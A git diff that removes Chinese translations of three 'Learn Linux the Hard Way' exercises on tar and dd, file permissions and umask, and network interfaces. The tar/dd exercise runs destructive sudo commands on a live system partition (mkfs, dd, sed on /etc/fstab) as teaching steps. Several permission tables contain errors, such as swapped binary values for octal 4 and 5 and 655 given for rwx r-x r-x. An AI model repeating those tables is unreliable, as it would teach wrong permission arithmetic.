一个难题:将`vim`复制到你的`chroot`并使其正常工作。 diff --git a/docs/llthw-zh/ex22.md b/docs/llthw-zh/ex22.md deleted file mode 100644 index 6fd41593..00000000 --- a/docs/llthw-zh/ex22.md +++ /dev/null @@ -1,220 +0,0 @@ -# 练习 22:文件系统:移动数据,`tar`,`dd` - -> 原文:[Exercise 22. Filesystems: moving data around: tar, dd](https://archive.fo/JSknE) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -现在是时候自己看看了,Linux 中的所有东西只是一个文件。 - -这个练习是一个很大的练习,但是看看你学到了什么。完成之后,在`man`中查看所有故意不解释的程序参数,,并试图自己解释每个命令的作用。 - -现在你将学习如何玩转数据。 - -## 这样做 - -``` - 1: tar -czvf root.tgz /opt/root/ - 2: tar -tzvf root.tgz - 3: cd /tmp - 4: tar -zxvf ~/root.tgz - 5: ls -al - 6: dd_if=$(mount | grep /tmp | cut -d ' ' -f 1) && echo $dd_if - 7: sudo dd if=$dd_if of=~/tmp.img bs=10M - 8: cd && ls -alh - 9: sudo losetup /dev/loop1 ~/tmp.img && sudo mount /dev/loop1 /mnt/ -10: ls -al /mnt -11: sudo umount /mnt && sudo losetup -d /dev/loop1 -12: sudo umount $dd_if && sudo mkfs.ext3 $dd_if -13: new_uuid=$(sudo tune2fs -l $dd_if | awk '/UUID/{print $3}') && echo $new_uuid -14: grep '/tmp' /etc/fstab -15: sed "s/^UUID=.*\/tmp\s\+ext3\s\+defaults\s\+[0-9]\s\+[0-9]\s\?/UUID=$new_uuid \/tmp ext3 defaults 0 2/" /etc/fstab -``` - -现在使用`sudo tune2fs -l`和`sudo blkid`检查输出。如果`/etc/fstab`中的 UUID 替换看起来正常,执行实际的替换。 - -``` -16: sudo sed -i'.bak' "s/^UUID=.*\/tmp\s\+ext3\s\+defaults\s\+[0-9]\s\+[0-9]\s\?/UUID=$new_uuid \/tmp ext3 defaults 0 2/" /etc/fstab -17: sudo mount -a && ls /tmp -18: sudo umount /tmp && pv ~/tmp.img | sudo dd of=$dd_if bs=10M -19: new_uuid=$(sudo tune2fs -l $dd_if | awk '/UUID/{print $3}') && echo $new_uuid -20: sudo sed -i'.bak' "s/^UUID=.*\/tmp\s\+ext3\s\+defaults\s\+[0-9]\s\+[0-9]\s\?/UUID=$new_uuid \/tmp ext3 defaults 0 2/" /etc/fstab -21: sudo mount -a -22: rm -v tmp.img -``` - -输入`y`并按下``。 - -## 你会看到什么 - -``` -user1@vm1:~$ tar -czvf root.tgz /opt/root/ -tar: Removing leading '/' from member names -/opt/root/ -/opt/root/bin/ -/opt/root/bin/bash -/opt/root/lib64/ -/opt/root/lib64/ld-linux-x86-64.so.2 -/opt/root/lib/ -/opt/root/lib/libdl.so.2 -/opt/root/lib/libncurses.so.5 -/opt/root/lib/libc.so.6 -user1@vm1:~$ tar -tzvf root.tgz -drwxr-xr-x root/root 0 2012-07-05 03:14 opt/root/ -drwxr-xr-x root/root 0 2012-07-05 03:14 opt/root/bin/ --rwxr-xr-x root/root 926536 2012-07-05 03:14 opt/root/bin/bash -drwxr-xr-x root/root 0 2012-07-05 03:14 opt/root/lib64/ --rwxr-xr-x root/root 128744 2012-07-05 03:14 opt/root/lib64/ld-linux-x86-64.so.2 -drwxr-xr-x root/root 0 2012-07-05 03:14 opt/root/lib/ --rw-r--r-- root/root 14696 2012-07-05 03:14 opt/root/lib/libdl.so.2 --rw-r--r-- root/root 286776 2012-07-05 03:14 opt/root/lib/libncurses.so.5 --rwxr-xr-x root/root 1437064 2012-07-05 03:14 opt/root/lib/libc.so.6 -user1@vm1:~$ cd /tmp -user1@vm1:/tmp$ tar -zxvf ~/root.tgz -opt/root/ -opt/root/bin/ -opt/root/bin/bash -opt/root/lib64/ -opt/root/lib64/ld-linux-x86-64.so.2 -opt/root/lib/ -opt/root/lib/libdl.so.2 -opt/root/lib/libncurses.so.5 -opt/root/lib/libc.so.6 -user1@vm1:/tmp$ ls -al -total 19 -drwxrwxrwt 6 root root 1024 Jul 5 04:17 . -drwxr-xr-x 22 root root 1024 Jul 3 08:29 .. -drwxrwxrwt 2 root root 1024 Jul 3 08:41 .ICE-unix -drwx------ 2 root root 12288 Jul 3 07:47 lost+found -drwxr-xr-x 3 user1 user1 1024 Jul 5 03:24 opt --rw-r--r-- 1 root root 489 Jul 3 10:14 sources.list --r--r----- 1 root root 491 Jul 3 10:21 sudoers -drwxrwxrwt 2 root root 1024 Jul 3 08:41 .X11-unix -user1@vm1:/tmp$ dd_if=$(mount | grep /tmp | cut -d ' ' -f 1) && echo $dd_if -/dev/sda8 -user1@vm1:~$ cd && ls -alh -total 243M -drwxr-xr-x 3 user1 user1 4.0K Jul 5 04:27 . -drwxr-xr-x 4 root root 4.0K Jul 3 08:39 .. --rw------- 1 user1 user1 22 Jul 3 10:45 .bash_history --rw-r--r-- 1 user1 user1 220 Jul 3 08:39 .bash_logout --rw-r--r-- 1 user1 user1 3.2K Jul 3 08:39 .bashrc --rw------- 1 user1 user1 52 Jul 5 04:12 .lesshst -drwxr-xr-x 3 user1 user1 4.0K Jul 5 03:23 opt --rw-r--r-- 1 user1 user1 675 Jul 3 08:39 .profile --rw-r--r-- 1 user1 user1 1.3M Jul 5 04:25 root.tgz --rw-r--r-- 1 root root 241M Jul 5 04:36 tmp.img -user1@vm1:~$ sudo losetup /dev/loop1 ~/tmp.img && sudo mount /dev/loop1 /mnt/ -user1@vm1:~$ ls -al /mnt -total 19 -drwxrwxrwt 6 root root 1024 Jul 5 04:17 . -drwxr-xr-x 22 root root 1024 Jul 3 08:29 .. -drwxrwxrwt 2 root root 1024 Jul 3 08:41 .ICE-unix -drwx------ 2 root root 12288 Jul 3 07:47 lost+found -drwxr-xr-x 3 user1 user1 1024 Jul 5 03:24 opt --rw-r--r-- 1 root root 489 Jul 3 10:14 sources.list --r--r----- 1 root root 491 Jul 3 10:21 sudoers -drwxrwxrwt 2 root root 1024 Jul 3 08:41 .X11-unix -user1@vm1:~$ sudo umount /mnt && sudo losetup -d /dev/loop1 -user1@vm1:~$ sudo umount $dd_if && sudo mkfs.ext3 $dd_if -mke2fs 1.41.12 (17-May-2010) -Filesystem label= -OS type: Linux -Block size=1024 (log=0) -Fragment size=1024 (log=0) -Stride=0 blocks, Stripe width=0 blocks -61752 inodes, 246784 blocks -12339 blocks (5.00%) reserved for the super user -First data block=1 -Maximum filesystem blocks=67371008 -31 block groups -8192 blocks per group, 8192 fragments per group -1992 inodes per group -Superblock backups stored on blocks: - 8193, 24577, 40961, 57345, 73729, 204801, 221185 - -Writing inode tables: done -Creating journal (4096 blocks): done -Writing superblocks and filesystem accounting information: done - -This filesystem will be automatically checked every 27 mounts or -180 days, whichever comes first. Use tune2fs -c or -i to override. -user1@vm1:~$ new_uuid=$(sudo tune2fs -l $dd_if | awk '/UUID/{print $3}') && echo $new_uuid -f8288adc-3ef9-4a6e-aab2-92624276b8ba -user1@vm1:~$ grep '/tmp' /etc/fstab -# /tmp was on /dev/sda8 during installation -UUID=011b4530-e4a9-4d13-926b-48d9e33b64bf /tmp ext3 defaults 0 2 -user1@vm1:~$ sed "s/^UUID=.*\/tmp\s\+ext3\s\+defaults\s\+[0-9]\s\+[0-9]\s\?/UUID=$new_uuid \/tmp ext3 defaults 0 2/" /etc/fstab -# /etc/fstab: static file system information. -# -# Use 'blkid' to print the universally unique identifier for a -# device; this may be used with UUID= as a more robust way to name devices -# that works even if disks are added and removed. See fstab(5). -# -# -proc /proc proc defaults 0 0 -# / was on /dev/sda1 during installation -UUID=91aacf33-0b35-474c-9c61-311e04b0bed1 / ext3 errors=remount-ro 0 1 -# /home was on /dev/sda9 during installation -UUID=e27b0efb-8cf0-439c-9ebe-d59c927dd590 /home ext3 defaults 0 2 -# /tmp was on /dev/sda8 during installation -UUID=f8288adc-3ef9-4a6e-aab2-92624276b8ba /tmp ext3 defaults 0 2 -# /usr was on /dev/sda5 during installation -UUID=9f49821b-7f94-4915-b9a9-ed9f12bb6847 /usr ext3 defaults 0 2 -# /var was on /dev/sda6 during installation -UUID=b7e908a1-a1cd-4d5c-bc79-c3a99d003e7c /var ext3 defaults 0 2 -# swap was on /dev/sda7 during installation -UUID=292981d7-5a17-488f-8d9a-176b65f45d46 none swap sw 0 0 -/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto 0 0 -sudo sed -i'.bak' "s/^UUID=.*\/tmp\s\+ext3\s\+defaults\s\+[0-9]\s\+[0-9]\s\?/UUID=$new_uuid \/tmp ext3 defaults 0 2/" /etc/fstab -sudo mount -a && ls /tmp -user1@vm1:~$ sudo umount /tmp && pv ~/tmp.img | sudo dd of=$dd_if bs=10M - 241MB 0:00:04 [54.2MB/s] [===============================================================================================================>] 100% -0+1928 records in -0+1928 records out -252706816 bytes (253 MB) copied, 5.52494 s, 45.7 MB/s -user1@vm1:~$ rm -v tmp.img -rm: remove write-protected regular file `tmp.img'? y -removed `tmp.img' -user1@vm1:~$ -``` - -## 解释 - -1. 在你的主目录中创建归档或`/opt/root/`。归档文件的扩展名是`.tgz`,因为这个归档实际上由两部分组成,就像是俄罗斯套娃。第一部分由字母`t`指定,是一个大文件,其中所有归档文件由程序`tar`合并。第二部分由字母`gz`指定 ,意味着`tar`调用`gzip`程序来压缩它。 -1. 测试这个归档。 -1. 将目录更改为`/tmp`。 -1. 解压你的归档。 -1. 打印目录内容。 -1. 提取挂载在`/tmp`上的分区的名称,将其存储在`dd_if`变量中,如果提取成功,打印出`dd_if`值。`if`代表输入文件。 -1. 将整个分区复制到你的主目录中的`tmp.img`。dd 使用超级用户调用,因为你正在访问代表你的分区的文件`/dev/sda8`,该分区对普通用户不可访问。 -1. 将目录更改为你的主目录并打印出其内容。 -1. 告诉 Linux 将`tmp.img`文件用作(一种)物理分区并挂载它。 -1. 打印出`tmp.img`的内容。你可以看到它真的是`/tmp`的精确副本 。 -1. -1. 解除挂载`tmp.img`,并告诉 Linux 停止将其看做分区。 -1. 解除挂载`/tmp`并在那里创建新的文件系统,删除该过程中的所有东西。 -1. 提取你的新`/tmp`文件系统的UUID ,将其存储在`new_uuid`中,并打印出来。 -1. 从`/etc/fstab`中打印描述旧的`/tmp`分区的一行。 -1. 向你展示,修改后的`/etc/fstab`如何工作。通过使用正则表达式来完成,这个表达式用作掩码,定义了这一行: - - ``` - UUID=f8288adc-3ef9-4a6e-aab2-92624276b8ba /tmp ext3 defaults 0 2 - ``` - - 完成这本书后,我会给你一个链接,让你学习如何创建这样的正则表达式。 -1. 使用新的 UUID 实际替换`/tmp`旧的 UUID。 -1. 挂载`/etc/fstab`中描述的所有文件系统,并列出新`/tmp`的内容 -1. 解除挂载新的`/tmp`并从`tmp.img`恢复旧`/tmp`。 -1. 获取旧`/tmp`的 UUID,它实际上与创建新文件系统之前相同,因为`tmp.img`是旧的`/ tmp`的完美副本。 -1. 在`/etc/fstab`中用旧的 UUID 替换新的 UUID 。 -1. 从`/etc/fstab`挂载所有文件系统。如果此命令不会导致错误,你可能一切正常。恭喜。 -1. 从你的主目录中删除`tmp.img`。 - -## 附加题 - -+ 尝试详细解释每个命令的作用。拿出一张纸,把它全部写出来。在`man`中查找在所有不能很好理解的命令和参数。 -+ 这个有些过早了,但为什么你能作为`user1`来发出删除命令,从你的主目录中删除`tmp.img`,考虑到`tmp.img`由 root 创建? diff --git a/docs/llthw-zh/ex23.md b/docs/llthw-zh/ex23.md deleted file mode 100644 index 17b65510..00000000 --- a/docs/llthw-zh/ex23.md +++ /dev/null @@ -1,295 +0,0 @@ -# 练习 23:文件系统:权限,`chown`,`chmod`,`umask` - -> 原文:[Exercise 23. Filesystems: security permissions, chown, chmod, umask](https://archive.fo/dGiPM) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -现在是时候了解 Linux 文件系统的安全模型了。我们首先引用维基百科的[权限](http://en.wikipedia.org/wiki/Filesystem_permissions%23Traditional_Unix_permissions)文章: - -> 大多数当前文件系统拥有方法,来管理特定用户和用户组的权限或访问权的。这些系统控制用户查看或更改文件系统内容的能力。 - -> 类 Unix 系统的权限在三个不同的类中进行管理。这些类称为用户, 组和其他。实际上,Unix 权限是访问控制列表(ACL)的简化形式。 - -> 当在类 Unix 系统上创建新文件时,其权限将从创建它的进程的 umask 确定。 - -对于 Linux 中的每个文件,都有三个权限类。对于每个权限类,有三个权限。 - -这是权限类: - -| 类 | 描述 | -| --- | --- | -| 用户 | 文件的拥有者。 | -| 分组 | 同组用户 | -| 其它人 | 任何其他用户或组 | - -这是每个类可分配的权限: - -| 权限 | 符号 | 描述 | -| --- | --- | --- | -| 读 | `r--` | 读取文件的能力 | -| 写 | `-w-` | 写入文件的能力 | -| 执行 | `--x` | 将文件作为程序执行的能力,例如 ShellScript 应该设置这个 | - -这两个表格应该总结一下: - -| 所有者 | | | 同组 | | | 其它人 | | | -| --- | --- | --- | --- | --- | --- | --- | --- | --- | -| `r` | `w` | `x` | `r` | `w` | `x` | `r` | `w` | `x` | - -这些权限表示为数字。考虑下面的输出: - -``` -user1@vm1:~$ ls -al tmp.img --rw-r--r-- 1 root root 252706816 Jul 6 07:54 tmp.img -user1@vm1:~$ stat tmp.img - File: 'tmp.img' - Size: 252706816 Blocks: 494064 IO Block: 4096 regular file -Device: 809h/2057d Inode: 88534 Links: 1 -Access: (0644/-rw-r--r--) Uid: ( 0/ root) Gid: ( 0/ root) -Access: 2012-07-06 07:56:58.000000000 -0400 -Modify: 2012-07-06 07:54:54.000000000 -0400 -Change: 2012-07-06 07:54:54.000000000 -0400 -user1@vm1:~$ -``` - -这里我们能够看到,`tmp.img`由用户`root`,分组`root`拥有,并且拥有权限`-rw-r–r–`。让我们试着阅读他们。 - -``` --rw # 所有者可以读取和写入文件 -r-- # 同组用户只能读取文件 -r-- # 其它人只能读取文件 -1 # -root # 所有者是 root -root # 分组是 root(但不要和 root 用户搞混了) -252706816 # -Jul # -6 # -07:54 # -tmp.img # -``` - -这里是八进制表示法的相同权限: - -``` -Access: -( - 0 - 6 -rw - 4 r-- - 4 --- -) -Uid: ( 0/ root) -Gid: ( 0/ root) -``` - -这是用于将八进制转换成符号的表格。 - -| 符号 | 八进制 | 二进制 | 符号 | 八进制 | 二进制 | -| --- | --- | --- | --- | --- | --- | -| `---` | 0 | 000 | `r--` | 4 | 101 | -| `--x` | 1 | 001 | `r-x` | 5 | 100 | -| `-w-` | 2 | 010 | `rw-` | 6 | 110 | -| `-wx` | 3 | 011 | `rwx` | 7 | 111 | - -请注意,产生权限是通过简单相加获得的。例如,让我们获得`rx`权限。 在八进制符号中的`r`为 4,`x`为 1,`1 + 4`为 5,为`rx`。 - -现在让我们讨论状态输出`0644`中的零。这是为了设置一些叫做 [SUID](http://en.wikipedia.org/wiki/Setuid),SGID 和[粘连位](http://en.wikipedia.org/wiki/Sticky_bit)的东西。我不会详细介绍,但我会给你一个额外的附加题和翻译表。 - -特殊位: - -| 模式 | 符号 | 描述 | -| --- | --- | --- | -| SUID | `u--` | 执行时设置(S)UID | -| SGID | `-g-` | 执行时设置(S)GID | -| Sticky | `--s` | 仅仅适用于目录,设置时,目录中的文件只能由 root 或者所有者删除。 | - -将这些特殊位转换为八进制记法: - -| 符号 | 八进制 | 二进制 | 符号 | 八进制 | 二进制 | -| --- | --- | --- | --- | --- | --- | -| `---` | 0 | 000 | `u--` | 4 | 101 | -| `--s` | 1 | 001 | `u-s` | 5 | 100 | -| `-g-` | 2 | 010 | `uw-` | 6 | 110 | -| `-gs` | 3 | 011 | `ugs` | 7 | 111 | - -那么新创建的文件呢?例如,你使用`touch umask.test`创建了一个文件,它将具有哪些权限?事实证明,你可以使用[文件模式创建掩码](http://en.wikipedia.org/wiki/Umask)(umask)来控制 。umask 是一种机制,在创建文件时定义哪些权限分配给文件。umask 通过 屏蔽来实现,即从默认值中减去权限,对于 bash 是 777,对于目录和文件是 666。Umask 也是为用户,组和其他人定义的。 - -映射 umask 值和权限: - -| 符号 | 八进制 | 二进制 | 符号 | 八进制 | 二进制 | -| --- | --- | --- | --- | --- | --- | -| `rwx` | 0 | 000 | `-wc` | 4 | 101 | -| `rw-` | 1 | 001 | `-w-` | 5 | 100 | -| `r-x` | 2 | 010 | `--x` | 6 | 110 | -| `r--` | 3 | 011 | `---` | 7 | 111 | - -为了更清楚地了解,这里是另一张表。请记住,这个权限被屏蔽掉,就是删除它们。为了简化本示例,用户,分组 和其他人的权限是一样的。 - -| umask 值 | 屏蔽(移除)的权限 | 新文件的有效权限 | 注解 | -| --- | --- | --- | --- | -| 000 | 无 | 777 读写执行 | 保留所有默认权限 | -| 111 | 只执行 | 666 读和写 | 因为新文件不可执行 | -| 222 | 只写 | 555 读和执行 | - | -| 333 | 写和执行 | 444 只读 | - | -| 444 | 只读 | 333 写和执行 | - | -| 555 | 读和执行 | 222 只写 | - | -| 666 | 读和写 | 111 只执行 | - | -| 777 | 读写执行 | 000 无 | 不保留任何权限 | - -另一个 umask 示例: - -| | 八进制 | 符号 | -| --- | --- | --- | -| umask | 022 | `--- -w- -w-` | -| 新文件 | | | -| 初始文件权限 | 666 | `rw- rw- rw-` | -| 产生的文件权限 | 644 | `rw- r-- r--` | -| 新目录 | | | -| 初始目录权限 | 777 | `rwx rwx rwx` | -| 产生的目录权限 | 655 | `rwx r-x r-x` | - -让我们总结一下这个项目: - -+ 权限或访问权 - 控制文件和目录访问的机制。 -+ 权限模式 - 允许文件操作的权限类型。 - + 读取,`r` 读取文件的能力。 - + 写入,`w` - 写入文件的能力。 - + 执行,`x` - 作为程序执行文件的能力。对于目录,这具有特殊的含义,即它允许进入目录。 -+ 用户类 - 应用权限的实体。 - + 用户/所有者类,`u` - 文件或目录的所有者,通常是创建它们的人。 - + 分组类,`g` - 组是用户的集合。 - + 其他类,`o` - 除所有者和分组之外的所有人。 -+ Umask - 控制新创建文件的访问权的机制。 - -以及管理权限的命令: - -+ `chmod` — 修改文件权限 -+ `chown` — 修改所有者 -+ `umask` — 修改掩码,以便将权限赋予新创建的文件 - -现在你将学习如何修改文件权限,文件所有者和 umask。 - -## 这样做 - -``` -1: umask -2: echo 'test' > perms.022 -3: ls -l perms.022 -4: stat perms.022 | grep 'Access: (' -5: chmod 000 perms.022 -6: ls -al perms.0022 -7: echo 'test' > perms.022 -8: rm -v perms.022 -``` - -记得上个练习的附加题中的问题吗?你现在处于类似的情况,因为你不能对此文件执行任何操作。但是为什么允许你删除它?这是因为当删除文件时,实际上是从目录中删除此文件的信息,对文件本身不做任何事情。我在这个话题上有很多的附加题。 - -``` - 9: umask 666 -10: echo 'test' > perms.000 -11: ls -l perms.000 -12: cat perms.000 -13: chmod 600 perms.000 -14: cat perms.000 -15: rm -v perms.000 -16: umask 027 -17: echo 'test' > perms.027 -18: ls -l perms.027 -19: sudo chown root perms.027 -20: echo 'test1' >> perms.027 -21: chown user1 perms.027 -22: sudo chown user1 perms.027 -23: echo 'test1' >> perms.027 -24: rm -v perms.027 -25: umask 022 -``` - -## 你会看到什么 - -``` -user1@vm1:~$ umask -0027 -user1@vm1:~$ echo 'test' > perms.022 -user1@vm1:~$ ls -l perms.022 --rw-r----- 1 user1 user1 5 Jul 9 10:23 perms.022 -user1@vm1:~$ stat perms.022 | grep 'Access: (' -Access: (0640/-rw-r-----) Uid: ( 1000/ user1) Gid: ( 1000/ user1) -user1@vm1:~$ chmod 000 perms.022 -user1@vm1:~$ ls -al perms.0022 -ls: cannot access perms.0022: No such file or directory -user1@vm1:~$ echo 'test' > perms.022 --bash: perms.022: Permission denied -user1@vm1:~$ rm -v perms.022 -rm: remove write-protected regular file `perms.022'? y -removed `perms.022' -user1@vm1:~$ umask 666 -user1@vm1:~$ echo 'test' > perms.000 -user1@vm1:~$ ls -l perms.000 ----------- 1 user1 user1 5 Jul 9 10:23 perms.000 -user1@vm1:~$ cat perms.000 -cat: perms.000: Permission denied -user1@vm1:~$ chmod 600 perms.000 -user1@vm1:~$ cat perms.000 -test -user1@vm1:~$ rm -v perms.000 -removed `perms.000' -user1@vm1:~$ umask 027 -user1@vm1:~$ echo 'test' > perms.027 -user1@vm1:~$ ls -l perms.027 --rw-r----- 1 user1 user1 5 Jul 9 10:24 perms.027 -user1@vm1:~$ sudo chown root perms.027 -user1@vm1:~$ echo 'test1' >> perms.027 --bash: perms.027: Permission denied -user1@vm1:~$ chown user1 perms.027 -chown: changing ownership of `perms.027': Operation not permitted -user1@vm1:~$ sudo chown user1 perms.027 -user1@vm1:~$ echo 'test1' >> perms.027 -user1@vm1:~$ rm -v perms.027 -removed `perms.027' -user1@vm1:~$ umask 022 -``` - -## 解释 - -1. 打印当前的 umask。 -1. 创建`perms.022`,包含一行`test`。 -1. 打印此文件的信息。 -1. 以八进制表示法打印该文件的权限信息。 -1. 更改此文件的权限,禁止任何人对此进行任何操作。 -1. 打印此文件的信息。 -1. 尝试用`test`替换此文件内容,由于缺少权限而失败。 -1. 删除此文件。这是可能的,因为没有触碰文件本身,只有目录`/home/user1`中的条目。 -1. 更改 umask,默认情况下不分配任何权限。 -1. 创建`perms.000`,包含一行`test`。 -1. 打印此文件的信息。 -1. 试图打印出这个文件内容,这显然会导致错误。 -1. 更改文件权限,来允许所有者读写。 -1. 打印此文件内容,这次成功了。 -1. 删除此文件。 -1. 再次更改 umask -1. 创建`perms.027`,包含一行`test`。 -1. 打印此文件的信息。 -1. 将文件所有者更改为 root。 -1. 尝试向文件追加一行`test1`,导致错误。 -1. 尝试将文件所有者更改回`user1`,因为文件所有者的信息包含在文件本身而失败,更准确地说在其索引节点中。 -1. 将文件所有者更改回`user1`,这次成功运行,因为以 root 身份运行。 -1. 将一行`test1`添加到我们的文件,这次成功了。 -1. 删除`perms.027`。 -1. 将 umask 还原到其默认值。 - -## 附加题 - -+ 读`man chmod`,`man chown`,`man umask`。 -+ 重新阅读`man chmod`中的`setuid`,`setgid`和`sticky`位。这样设置你的目录的`setuid`位,执行`umask 002 && echo test | sudo tee perms.root user1`的时候,它是`perms.root`分组的结果。 -+ 弄清楚为什么`umask 002`不工作。 -+ 尝试这个: - ``` - user1_block0=$(echo 'stat /user1' | sudo debugfs /dev/sda9 2>/dev/null | grep '(0)' | cut -d':' -f2) - echo $user1_block0 - sudo dd if=/dev/sda9 bs=4096 skip=$user1_block0 count=1 | hexdump -C - ``` - 很酷吧?你刚刚从`raw`分区直接读取目录内容。那么当你删除文件时,就是从这里删除一个条目,你有权修改这个条目,因为这就是实际的目录(一个特殊的文件)。 diff --git a/docs/llthw-zh/ex24.md b/docs/llthw-zh/ex24.md deleted file mode 100644 index 63cf59c5..00000000 --- a/docs/llthw-zh/ex24.md +++ /dev/null @@ -1,554 +0,0 @@ -# 练习 24:接口配置,`ifconfig`,`netstat`,`iproute2`,`ss`,`route` - -> 原文:[Exercise 24. Networking: interface configuration, ifconfig, netstat, iproute2, ss, route](https://archive.fo/JzBji) - -> 译者:[飞龙](https://github.com/wizardforcel) - -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) - -> 自豪地采用[谷歌翻译](https://translate.google.cn/) - -这个练习对于你来说是一个很大的信息量,如果你不熟悉网络,这就是一个伤害。如果你感到非常失落,请立即跳到“这样做”的部分,并完成它。为了正确理解这部分,你至少应该非常熟悉网络的以下基本概念: - -+ [通信协议](http://en.wikipedia.org/wiki/Communications_protocol) - 通信协议,就是数字消息格式和规则的系统,用于在计算系统或在电子通讯中交换那些消息。 -+ [以太网](http://en.wikipedia.org/wiki/Ethernet) - 用于局域网(LAN)的计算机网络技术族。 -+ [MAC 地址](http://en.wikipedia.org/wiki/MAC_address) - 分配给物理网段上通信的网络接口的唯一标识符。例如:` 08:00:27:d4:45:68`。 -+ [TCP/IP](http://en.wikipedia.org/wiki/Internet_protocol_suite) - 互联网协议套件是一组通信协议,用于互联网和类似网络,通常是广域网最流行的协议栈。它通常被称为 TCP/IP,由于其最重要的协议:传输控制协议(TCP)和互联网协议(IP) -+ [IP](http://en.wikipedia.org/wiki/Internet_Protocol) - 互联网协议(IP)是主要通信协议,用于跨互联网络中继转发数据报(也称为网络封包)。 -+ [IP 地址](http://en.wikipedia.org/wiki/IP_address) - 互联网协议地址。示例:`10.0.2.15` -+ [端口](http://en.wikipedia.org/wiki/Port_(computer_networking)) - 应用特定或流程特定的软件结构,在计算机的主机操作系统中用作通信端点。示例:`22` -+ [网络套接字](http://en.wikipedia.org/wiki/Network_socket) - 跨计算机网络的,进程间通信流的端点。今天,大多数计算机之间的通信基于互联网协议;因此大多数网络套接字都是互联网套接字。 -+ 本地套接字地址 - 本地 IP 地址和端口号,例如:`10.0.2.15:22`。 -+ 远程套接字地址 - 远程 IP 地址和端口号,仅适用于已建立的 TCP 套接字。示例:`10.0.2.2:52173`。 -+ [套接字对](http://en.wikipedia.org/wiki/Network_socket%23Socket_pairs) - 沟通本地和远程套接字,只有 TCP 协议。示例:`(10.0.2.15:22, 10.0.2.2:52173)`。 -+ [子网掩码](http://en.wikipedia.org/wiki/Subnetwork) - 逻辑可见的 IP 网络细分。示例:`/24`或另一个记号`255.255.255.0`。 -+ [路由](http://en.wikipedia.org/wiki/Routing) - 在网络中选择路径,来发送网络流量的过程。 -+ [默认网关](http://en.wikipedia.org/wiki/Default_gateway) - 在计算机网络中,网关是一个 TCP/IP 网络上的节点(路由器),作为另一个网络的接入点。默认网关是计算机网络上的节点,当 IP 地址与路由表中的任何其他路由不匹配时,网络软件使用它。示例:`10.0.2.2`。 -+ [广播地址](http://en.wikipedia.org/wiki/Broadcast_address) - 逻辑地址,其中连接到多重访问的网络的设备能接收数据报。发给广播地址的消息,通常会由所有附加到网络的主机接收,而不是特定主机。示例:`10.0.2.255`。 -+ [ICMP](http://en.wikipedia.org/wiki/Internet_Control_Message_Protocol) - 互联网消息控制协议,示例用法:`ping 10.0.2.2`。 -+ [TCP](http://en.wikipedia.org/wiki/Transmission_Control_Protocol) - 传输控制协议。在数据交换之前建立连接,因此设计上可靠。示例:SSH, HTTP。 -+ [UDP](http://en.wikipedia.org/wiki/User_Datagram_Protocol) - 用户数据报协议。传输数据而不建立连接,因此设计上不可靠。示例:DNS。 - -如果你对某些概念不熟悉,不用担心。 - -+ 阅读相应的维基百科文章,直到你至少充分理解(但是深入钻研当然更好)。 -+ 观看 的视频: - + 展开站点左侧的 IP 地址树节点,并通过它来以你的方式实现。 - + 展开 TCP 树节点并执行相同操作。 -+ 阅读 [Linux 网络概念介绍](http://www.iptables.org/documentation/HOWTO//networking-concepts-HOWTO-3.html%23ss3.1)。这本指南很好,因为它甚至承认 互联网是为情欲而生的。 - -让我们继续。这是 Linux 网络相关的命令列表: - -+ `ifconfig` - 配置和查看网络接口的状态。 -+ `netstat` - 打印网络连接,路由表,接口统计信息,伪装连接和组播成员资格。 -+ `ip` - 显示/操做路由,设备,策略和隧道。 -+ `ss` - 调查套接字的另一个实用程序。 - -现在让我们来看看每个命令可以告诉我们什么信息。我们将从`ifconfig`开始。 - -``` -user1@vm1:~$ sudo ifconfig - -eth0 Link encap:Ethernet HWaddr 08:00:27:d4:45:68 # (1), (2), (3) - inet addr:10.0.2.15 Bcast:10.0.2.255 Mask:255.255.255.0 # (4), (5), (6), (7) - inet6 addr: fe80::a00:27ff:fed4:4568/64 Scope:Link # (8), (9), (10) - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 # (11), (12), (13), (14), (15), (16) - RX packets:35033 errors:0 dropped:0 overruns:0 frame:0 # (17), (18), (19), (20), (21), (22) - TX packets:28590 errors:0 dropped:0 overruns:0 carrier:0 # (23), (24), (25), (26), (27), (28) - collisions:0 txqueuelen:1000 # (29), (30) - RX bytes:6360747 (6.0 MiB) TX bytes:21721365 (20.7 MiB) # (31), (32) - -lo Link encap:Local Loopback - inet addr:127.0.0.1 Mask:255.0.0.0 - inet6 addr: ::1/128 Scope:Host - UP LOOPBACK RUNNING MTU:16436 Metric:1 - RX packets:8 errors:0 dropped:0 overruns:0 frame:0 - TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:0 - RX bytes:560 (560.0 B) TX bytes:560 (560.0 B) -``` - -我们可以看到`vm1`中有两个网络接口,`eth0`和`lo`。`lo`是一个回送 接口,用于连接同一台机器上的客户端-服务器程序。 - -让我们看看我们在`eth0`上有哪些信息,它是一个 VirtualBox 的伪网络接口: - -| 字段 | 描述 | 字段 | 描述 | -| --- | --- | --- | --- | -| (1) Link | 物理选项 | (17) RX | 接收(缩写) | -| (2) encap | 封装类型 | (18) packets | 封包总数 | -| (3) Hwaddr | MAC 地址 | (19) errors | 错误的数据包总数 | -| (4) inet | 地址族(IPv4) | (20) dropped | 丢弃的封包(低系统内存?) | -| (5) addr | IPv4 地址 | (21) overruns | 比处理速度快的封包 | -| (6) Bcast | 广播地址 | (22) frame | 接收的无效的帧 | -| (7) Mask | 网络掩码 | (23) TX | 传输(缩写) | -| (8) inet6 | 地址族(IPv6) | (24) packets | 封包总数 | -| (9) addr | IPv6 地址 | (25) errors | 错误的数据包总数 | -| (10) Scope | 地址范围(主机,链路,全局) | (26) dropped | 丢弃的封包(低系统内存?) | -| (11) UP | 接口功能正常 | (27) overruns | 比处理速度快的封包(我不确定) | -| (12) BROADCAST | 它可以一次性向所有主机发送流量 | (28) carrier | 链路载波丢失 | -| (13) RUNNING | 它准备好接受数据(我不确定) | (29) collisions | 发生了包装碰撞 | -| (14) MULTICAST | 它可以发送和接收组播封包 | (30) txqueuelen | 